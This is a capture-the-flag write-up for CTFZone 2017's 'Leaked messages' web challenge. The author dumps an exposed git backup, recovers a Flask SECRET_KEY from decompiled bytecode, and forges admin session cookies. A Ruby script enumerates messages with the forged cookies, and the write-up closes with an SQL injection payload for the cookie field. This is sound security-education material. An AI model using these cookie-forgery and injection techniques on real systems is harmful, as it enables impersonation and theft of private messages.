Version
By
Version
Comment
noraj
1.0
Creation
CTF
Name : CTFZone 2017
Website : ctf.bi.zone
Type : Online
Format : Jeopardy
CTF Time : link
Leaked messages - Web
One of our candidates used to send restricted data to colleagues via this service because it's free and easy to use. Try to get some secrets which can compromise them. 82.202.204.104
I launched dirb and I found there was a /backup/
folder which seems to be a /.git/
folder.
Update: Such a folder can be created with this git command: git init --separate-git-dir backup/
.
So I wanted to use GitTools to dump it.
Bit I got this error from the tool [-] /.git/ missing in url
. So I patched the tool by removing those lines from gitdumper.sh
:
Update: It was also possible to use dvcs-ripper that doesn't need to be patched. Now GitTools was patched and has a new --git-dir=
option.
if [[ ! " $BASEURL " =~ /.git/$ ]]; then
echo -e "\e[31m[-] /.git/ missing in url\e[0m" ;
exit 0 ;
fi
Then I dumped it:
$ ~/CTF/tools/GitTools/Dumper/gitdumper.sh http://82.202.204.104/backup/ repo
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating repo/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/9f/848cceeba31da2cbd2c8ecaebb8a8dab17eee4
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/bd/55b19e5413ce609d3bc4429c3a6f272341988a
[+] Downloaded: objects/8b/1084b23d869e5dc1ae4ac845589ecfb896c0c3
[+] Downloaded: objects/23/f40a1925a77ab85bb275aa7cdd651cf2d6ab1e
[+] Downloaded: objects/46/a91687724b0c347c868f8220d532c621beea68
[+] Downloaded: objects/33/7588e8c7542e290b175c231d75e64121fc23d6
[+] Downloaded: objects/d6/f716131c6d42d868042f307f8501519b93712d
[+] Downloaded: objects/26/ca75d51a07a091a65aebcce729d7549c7b9f41
[+] Downloaded: objects/d7/5b906f19298cc89109421dc78a051e4bafafe5
[+] Downloaded: objects/9d/1c385e4a0b65ed621236c5ec14f08f6098b0dd
[+] Downloaded: objects/db/f56b03af34a746b5643812aa6ffb01048b231c
[+] Downloaded: objects/14/26e2a436590569ecf3cdf4693ce4c3538b6633
[+] Downloaded: objects/f1/d9988ac4c313ab9192f447163035cb9b5dedc7
[+] Downloaded: objects/6e/9ff65408df0c8efe412231490164b32370d016
[+] Downloaded: objects/cd/cf6a0e75f39eb4fb8015dea67aec89eac731d7
[+] Downloaded: objects/5f/34a7e4dacd3f028864733b677a129cd9a861c5
[+] Downloaded: objects/78/bffa3029e4d45785b27044cd6d040ddc6ec4ce
[+] Downloaded: objects/d4/554984dd5cf7621141cc31e363d7c5d5f18290
[+] Downloaded: objects/94/c10d57888aae09bf3fb63b38abe233a6648f6b
[+] Downloaded: objects/23/c01c11f555e48c24a387e260d801256530e726
[+] Downloaded: objects/ed/3905e0e0c91d4ed7d8aa14412dffeb038745ff
[+] Downloaded: objects/bd/e760cf613b595f7c73df854a4b9cfb02f32bac
[+] Downloaded: objects/f7/e276bb15f9bb882abc8ee8a8b48ba27da366ef
[+] Downloaded: objects/7a/6b8132070f7eb68f8fc891ec839947a0d335c4
[+] Downloaded: objects/9b/cd2fccaed9442f1460191d6670ca5e8e08520c
I checked the last commit:
$ git --no-pager log -p -1 [±master ✓]
commit 9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4 (HEAD -> master)
Author: Alexey Kuznetsov <akz@bi.zone>
Date: Fri Jul 14 20:41:02 2017 +0300
minor changes
diff --git a/static/flag.txt b/static/flag.txt
deleted file mode 100644
index 23c01c1..0000000
--- a/static/flag.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Flag is here! Just take it!
-MN2GM6TPNZSXW63IOR2HA4Z2F4XXS33VOR2WEZJOMNXW2L3XMF2GG2B7OY6UOMKJMJJHK2TLN4WUC7L5
It seems that flag.txt
was removed but we have the content just here.
It's a base32 string:
$ printf %s 'MN2GM6TPNZSXW63IOR2HA4Z2F4XXS33VOR2WEZJOMNXW2L3XMF2GG2B7OY6UOMKJMJJHK2TLN4WUC7L5' | base32 -d
ctfzone{{https://youtube.com/watch?v=G1IbRujko-A}}
But this is a Troll, a fake flag. This CTF sounds like Troll and guessing... (/backup/
instead of /.git/
, base32 string, then fake flag).
Ok let's continue and extract all commits still with GitTools .
$ ~/CTF/tools/GitTools/Extractor/extractor.sh repo extractedrepo
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 8b1084b23d869e5dc1ae4ac845589ecfb896c0c3
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/.gitignore
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/requirements.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/bootstrap.min.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/login.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/main.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/css/material-input.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/flag.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/js
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/static/js/bootstrap.min.js
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/index.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/login.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/messages.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/0-8b1084b23d869e5dc1ae4ac845589ecfb896c0c3/templates/register.html
[+] Found commit: 9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/.gitignore
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/requirements.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/bootstrap.min.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/login.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/main.css
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/css/material-input.css
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/js
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/static/js/bootstrap.min.js
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/index.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/login.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/messages.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/1-9f848cceeba31da2cbd2c8ecaebb8a8dab17eee4/templates/register.html
[+] Found commit: bd55b19e5413ce609d3bc4429c3a6f272341988a
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/.gitignore
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/config.pyc
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/requirements.txt
[+] Found folder: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/index.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/login.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/messages.html
[+] Found file: /home/noraj/CTF/CTFZone/2017/extractedrepo/2-bd55b19e5413ce609d3bc4429c3a6f272341988a/templates/register.html
Now let's take a look at 2-bd55b19e5413ce609d3bc4429c3a6f272341988a/config.pyc
.
Then I installed uncompyle6 to uncompile the config python file.
$ uncompyle6 config.pyc
# uncompyle6 version 2.11.2
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.6.1 (default, Mar 27 2017, 00:27:06)
# [GCC 6.3.1 20170306]
# Embedded file name: config.py
# Compiled at: 2017-07-14 19:28:42
# Size of source mod 2**32: 288 bytes
class BaseConfig(object):
DEBUG = False
SECRET_KEY = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
DB_NAME = 'messages.db'
RECAPTCHA_ENABLED = True
RECAPTCHA_THEME = 'dark'
RECAPTCHA_TYPE = 'image'
RECAPTCHA_SIZE = 'normal'
RECAPTCHA_RTABINDEX = 10
# okay decompiling config.pyc
Previously I so that this is a Flask webapp:
$ cat requirements.txt
flask
flask_recaptcha
The Flask SECRET_KEY
is generated in order to manage sessions, here it will sign cookies.
Flask cookies look like JWT (JSON Web Tokens) but that's not the same structure. JWT are header.data.signature , flask cookies are data.nonce.signature .
It seems it's our way to modify the session cookie, cookie will be invalid if we only modify it without having a valid signature (which requires the SECRET_KEY
). But decoding flask cookie only require to base64 decode the first part.
So the I used flask-session-cookie-manager to decode the cookie and re-encode it.
$ python2 session_cookie_manager.py decode -c 'eyJudW1iZXIiOiIzMjY0MTAwMzE2NjYiLCJ1c2VybmFtZSI6Im5vcmFqIn0.DE0nVQ.bRk4qqnx3sRxI9shmhEY59GdJIY'
{"number":"326410031666","username":"noraj"}
$ python2 session_cookie_manager.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw
Then I used BurpSuite to temper my request and modify the cookie header, just to test the range of number id:
Here the last message for you, 326410000000
A man who would letterspace lower case would steal sheep, Frederic Goudy liked to say. If this wisdom needs updating, it is chiefly to say that a woman who would letterspace lower case would steal sheep as well.
Here the last message for you, 326410000001
To be truly great, we have to understand the motivation of our clients, maintain constant two-way communication with shockingly uncreative people, get a firm handle on copywriting and how that craft exists symbiotically with the visual element, and foresee how the finished whole will be greater than the sum of the bits and pieces we spent hours obsessing over. All of these factors cascade into the final product.
Here the last message for you, 326410001337
My secret is being not terrible at a lot of things.
Here the last message for you, 326410000042
For me, design is like choosing what I’m going to wear for the day – only much more complicated and not really the same at all.
Here the last message for you, 326410009999
Learn from the mistakes of others. You can’t live long enough to make them all yourself.
Here the last message for you, 326410019999
Styles come and go. Good design is a language, not a style.
Here the last message for you, 326410029999
I am always driven by the terror of humiliation.
Here the last message for you, 326410030199
There are no bad ideas, just bad decisions.
Here the last message for you, 326410030239
Most [clients] expect experience design to be a discrete activity, solving all their problems with a single functional specification or a single research study. It must be an ongoing effort, a process of continually learning about users, responding to their behaviors, and evolving the product or service.
Here the last message for you, 326410031505
You have no messages yet
After some tests I figured that the range were like the following:
326410000000 to 326410030239 : CTF story message
326410030240 to 326410031505 : no user (You have no messages yet)
326410031506 to 326410031666+ : CTF player message (Hello! Your number is 326410031XXX. Have a nice conversation.)
The flag is in a CTF story message.
So I wrote a ruby script to dump all messages into a messages
folder:
require 'net/http'
# uri is already require by net/http
uri = URI ( 'http://82.202.204.104/messages' )
req = Net :: HTTP :: Get . new (uri)
( 326410000000 .. 326410030239 ).each do | i |
cmd = `python2 session_cookie_manager.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":" #{ i } ","username":"admin"}'`
cookie = cmd.chomp!
req[ 'Cookie' ] = "session= #{ cookie } "
res = Net :: HTTP .start(uri.hostname, uri.port) {| http |
http.request(req)
}
message = res.body.match( /<span class="message">(.*)< \/ span>/m ).captures[ 0 ]
File . open ( "messages/ #{ i } .txt" , 'w' ) {| f | f.write(message) }
end
Then I used classic grep skills.
$ grep -r -i ctfzone messages
$ grep -r -i flag messages
$ grep -r -i http messages
messages/326410011111.txt:It's so cool! https://postimg.org/image/41t4h680r/
There is a link with a picture.
Flag was ctfzone{b1d4207ff1965105af775cfa71d8214d}
.
There was another solution found by hotab from dcua . Instead of dumping every message like me it was possible to do an SQL injection into the cookie {"number":"#{payload}","username":"admin"}
where #{payload}
is ' union SELECT GROUP_CONCAT(message,'\n') FROM messages GROUP BY '1
. That was listing you all message in one page. This was quicker.